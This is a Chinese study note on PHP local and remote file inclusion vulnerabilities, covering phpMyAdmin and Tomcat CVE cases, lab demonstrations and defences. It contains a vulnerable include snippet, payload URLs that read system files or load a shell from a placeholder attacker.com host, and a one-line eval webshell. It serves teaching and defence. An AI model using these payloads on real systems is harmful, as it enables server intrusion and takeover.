一、文件包含漏洞
1. 内容的包含
- 定义: 将重复使用的内容单独提取到一个文件中,通过include函数引用
- 目的: 减少重复编码,方便维护更新
- 示例: 网站导航条、底部版权声明等公共内容
- 实现方式: 使用PHP的include函数,如<?php include 'footer.php';?>
- 优势: 修改时只需改动一个文件,所有引用该文件的内容都会自动更新
2. 函数的包含
- 定义: 将常用函数提取到单独文件中供多个页面调用
- 目的: 避免函数重复定义,提高代码复用性
- 典型文件: 通常命名为util.php或functions.php
- 实现方式: 同样使用include或require函数
- 与内容包含的区别: 一个封装的是显示内容,一个封装的是功能逻辑
3. 本地文件包含
1)基本概念
- 英文名: Local File Inclusion (LFI)
- 别名: 目录遍历漏洞/任意文件访问漏洞
- 原理: 通过动态包含方式引入文件时未对文件名做校验
- 危害: 可以访问服务器上的任意文件,包括敏感系统文件
- 常见函数: PHP中的include、require等
2)四种利用方式
- 固定文件名包含
- 特点: 文件名在代码中写死
- 示例: include 'footer.php'
- 局限性: 灵活性较差
- 动态参数包含
- 特点: 通过GET/POST参数动态指定文件名
- 示例: $file =$_GET['file']; include("$file");
- 风险: 未做过滤可能导致安全漏洞
- 包含恶意代码
- 方式: 包含图片马或webshell文件
- 示例: 上传含有一句话木马的图片,通过包含执行
- 典型场景: 与文件上传漏洞结合利用
- 包含系统敏感文件
- 目标文件: /etc/passwd、C:\Windows\system.ini等
- 危害: 泄露系统敏感信息
- 防御: 对包含路径进行严格限制和过滤
3)例题:文件包含漏洞演示
- 题目解析
- 演示内容: 通过本地文件包含读取系统文件
- 实现步骤:
- 构造包含路径?file=C:\Windows\system.ini
- 系统返回ini文件内容
- 关键点: 利用未过滤的file参数实现任意文件读取
- 防御建议: 对包含文件做白名单限制或路径校验
4. 远程文件包含
1)基本概念
- 定义:远程文件包含漏洞(Remote File Inclusion,RFI)是指攻击者能够包含其他主机的URL地址来执行恶意代码的安全漏洞。
- 与本地文件包含的区别:本地文件包含只能读取本机文件,而RFI可以读取其他机器的文件。
- 危害等级:比XXE和SSRF更危险,因为可以直接执行包含的恶意代码。
2)与其他漏洞的对比
- XXE(XML外部实体注入):
- 成因:系统使用XML传输数据并允许解析外部实体
- 危害:访问敏感文件、端口探测、执行系统命令(需操作系统支持)
- SSRF(服务端请求伪造):
- 成因:使用curl等函数直接执行链接访问
- 危害:端口扫描、攻击内网主机、绕过防火墙、内存溢出攻击、访问Redis等
- RFI:
- 成因:使用include等函数包含远程文件
- 危害:任意文件访问、包含shell代码获取权限
3)利用场景
- 典型场景:当目标存在RFI漏洞但无法直接上传木马时,可将木马放在外网服务器,通过包含远程文件获取权限。
- 示例:http://target.com/include.php?file=http://attacker.com/shell.txt
4)服务器配置要求
- 必要配置:
- allow_url_fopen=On:允许将URL作为文件处理
- allow_url_include=On:允许include/require打开URL
- 注意事项:
- 修改配置后需重启服务器
- 未配置时靶场会有红色警告提示
- 配置文件路径通常为php.ini
5)配置验证
- 验证方法:
- 查找php.ini文件
- 确认allow_url_fopen和allow_url_include值为On
- 重启服务使配置生效
6)实际利用演示
- 步骤:
- 在攻击机创建包含恶意代码的文件(如1.txt)
- 通过RFI漏洞包含该远程文件
- 获取目标服务器权限
- 示例代码:
5. 应用案例
1)例题:文件包含漏洞演示
- 环境搭建:演示使用phpstudy 2016版本在虚拟机中搭建测试环境,由于高版本phpstudy不支持2003系统,需特别注意版本兼容性问题。
- 漏洞原理:该漏洞源于phpmyadmin的index.php文件(约50行处),通过未充分过滤的$_REQUEST['target']参数实现文件包含。
- 关键配置:需要设置php.ini中的allow_url_fopen=On和allow_url_include=On才能实现远程文件包含。
- 测试文件准备:在网站根目录/www/admin/localhost_80/wwwroot放置了三个测试文件:
- 1.txt:PHP版本信息文件(含<?php phpinfo(); ?>代码)
- alert.html:JavaScript弹窗测试文件
- shell.php:一句话木马文件(含@eval($_POST['wuya']))
- 测试过程:
- 包含1.txt成功显示PHP版本信息
- 包含alert.html成功触发JavaScript弹窗
- 包含shell.php因PHP版本问题未成功执行
- 漏洞类型:
- LFI(本地文件包含):通过目录遍历访问系统敏感文件
- RFI(远程文件包含):通过URL包含远程服务器上的恶意文件
- 其他相关漏洞:XXE、SSRF等
- 防御措施:演示中提到的黑名单机制($target_blacklist数组)是常见但不够安全的防御方式,建议采用白名单验证。
- 环境调试:
- PHP 5.4.45版本存在兼容性问题
- 建议在外网服务器(如阿里云CentOS)搭建更稳定的测试环境
- 安全提示:避免在生产环境存放测试用一句话木马
6. 文件包含漏洞总结
1)典型漏洞案例
- PHPAdmin漏洞:2018年发现的任意文件包含漏洞(CVE-2018-12613),允许攻击者通过构造特定参数读取服务器文件
- Tomcat漏洞:2020年Apache Tomcat AJP协议缺陷(CVE-2020-1938),攻击者可读取webapp目录下任意文件
2)漏洞复现方法
- PHPAdmin复现
- 验证条件:需满足!in_array($_REQUEST['target'],$target_blacklist)和Core::checkPageValidity($_REQUEST['target'])两个条件
- 利用方式:通过构造恶意target参数实现文件包含,典型路径如include$_REQUEST['target'];
- Tomcat复现
- 影响版本:包括Tomcat 6/7/8/9多个版本,具体为:
- Apache Tomcat ≤ 6
- Apache Tomcat 7 < 7.0.100
- Apache Tomcat 8 < 8.5.51
- Apache Tomcat 9 < 9.0.31
- 攻击原理:利用AJP连接器缺陷构造特定参数
- 影响版本:包括Tomcat 6/7/8/9多个版本,具体为:
3)漏洞统计与分析
- 漏洞数量:2021年CVE平台收录24个文件包含漏洞
- 典型案例:
- Artica Pandora FMS 742远程文件包含(CVE-2021-32100)
- Kaseya VSA本地文件包含(CVE-2021-30121)
- WordPress插件路径遍历(CVE-2021-24453)
4)漏洞利用演示
- 工具使用:通过中国蚁剑等工具实现远程文件包含攻击
- 攻击流程:构造包含恶意文件的URL参数,如?file=http://attacker.com/shell.php
- 防御建议:及时更新受影响组件版本,对文件包含参数进行严格过滤
二、知识小结
知识点 | 核心内容 | 考试重点/易混淆点 | 难度系数 |
文件包含漏洞定义 | 代码文件包含其他文件时产生的安全漏洞,分为内容包含和函数包含两种类型 | 区分静态包含与动态包含的实现差异 | ⭐⭐ |
内容包含原理 | 提取公共内容(如页眉页脚)到独立文件实现复用,修改时只需改动单个文件 | 与模板引擎技术的功能区分 | ⭐⭐ |
函数包含原理 | 将常用函数集中存储在公共文件(如util.php)供多页面调用 | 与类库引入的调用方式对比 | ⭐⭐ |
本地文件包含(LFI) | 通过include等函数读取服务器本地文件,可访问/etc/passwd等敏感文件 | LFI与目录遍历漏洞的关联性 | ⭐⭐⭐ |
远程文件包含(RFI) | 包含远程服务器文件执行代码,需allow_url_include配置开启 | 与XXE/SSRF漏洞的功能对比 | ⭐⭐⭐⭐ |
漏洞利用演示 | 1. 包含固定文件; 2. 动态参数包含; 3. 图片马攻击; 4. 系统文件读取 | 图片马与文件上传漏洞的联合利用 | ⭐⭐⭐⭐ |
防御措施 | 1. 禁用动态包含; 2. 白名单校验; 3. 关闭allow_url_include | 配置修改与代码审计的双重防护 | ⭐⭐⭐ |
历史漏洞案例 | 1. phpMyAdmin任意文件包含(CVE-2018-12613); 2. Tomcat远程文件包含 | 通用CMS系统的漏洞高发性 | ⭐⭐⭐⭐ |
漏洞危害对比 | RFI > LFI > XXE/SSRF(执行代码能力差异) | 不同漏洞的利用成本评估 | ⭐⭐⭐⭐ |